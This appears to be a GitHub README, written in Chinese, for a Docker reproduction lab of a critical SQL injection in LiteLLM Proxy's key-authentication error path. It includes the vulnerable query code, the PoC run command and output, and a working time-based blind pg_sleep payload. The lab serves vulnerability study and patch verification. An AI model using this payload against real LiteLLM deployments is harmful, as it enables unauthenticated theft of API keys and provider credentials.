imjdl/CVE-2026-42208_lab
GitHub: imjdl/CVE-2026-42208_lab
针对 LiteLLM Proxy API 密钥认证流程中严重 SQL 注入漏洞(GHSA-r75f-5x8p-qvmc)的 Docker 复现环境与 PoC 脚本。
Stars: 0 | Forks: 0
# LiteLLM Proxy SQL 注入 (GHSA-r75f-5x8p-qvmc)
针对 LiteLLM Proxy API 密钥认证流程中 SQL 注入漏洞的复现环境。
## 漏洞摘要
| 项目 | 详情 |
|------|--------|
| 漏洞公告 | [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) |
| 类型 | SQL 注入 (CWE-89) |
| 严重程度 | 严重 |
| 受影响版本 | litellm >=1.81.16, <1.83.7 |
| 已修复版本 | litellm >=1.83.7 (commit `4dc416ee74`) |
## 攻击路径
该注入发生在**错误处理回调路径**中,而不是主认证流程。当发送非 `sk-` 前缀的 token 时,断言失败,原始(未哈希的)token 经过失败回调链路流入使用 f-string 拼接的 SQL 查询中:
```
HTTP request: Authorization: Bearer
→ assert api_key.startswith("sk-") fails
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← INJECTION
```
主 `sk-` 认证路径**不可利用**,因为 token 在到达查询之前会进行 SHA256 哈希处理,仅生成 `[0-9a-f]` 字符。
## 复现步骤
### 1. 启动漏洞环境
```
docker compose up -d
```
这将启动带有 PostgreSQL 后端的 LiteLLM Proxy (v1.83.3-stable)。
### 2. 运行 PoC
```
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
```
### 预期输出
```
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed
```


## 技术细节
### 载荷构造
PostgreSQL 的 `pg_sleep()` 返回 `void` 类型,不能出现在布尔上下文(`OR`)中。该载荷将其包裹在子查询中以避免类型错误:
```
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
```
此内容被注入到 `litellm/proxy/utils.py` 的 `combined_view` 查询中:
```
# 易受攻击的代码 (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← f-string interpolation of user input
"""
```
### 影响
- **无需认证** — 无需提供有效的 API 密钥
- **数据库读取访问权限** — 可通过盲注提取任何数据(API 密钥、凭据、配置)
- 由代理管理的**所有 LLM 提供商密钥**均面临风险
## 参考文献
- [GitHub 安全公告](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc)
- [修复提交 4dc416ee74](https://github.com/BerriAI/litellm/commit/4dc416ee74)
- [Sysdig TRT 威胁情报报告](https://sysdig.com/blog/litellm-critical-sql-injection-vulnerability-exploited-in-the-wild/) — 在公开披露后 36 小时内即观察到在野利用
标签:API密钥认证, CISA项目, CVE-2026-42208, CWE-89, Docker, GHSA-r75f-5x8p-qvmc, LiteLLM, PNNL实验室, PoC, PostgreSQL, Python, SQLi, 代理服务器安全, 大语言模型安全, 安全防御评估, 无后门, 暴力破解, 机密管理, 测试用例, 漏洞复现, 网络安全, 请求拦截, 逆向工具, 隐私保护, 靶场环境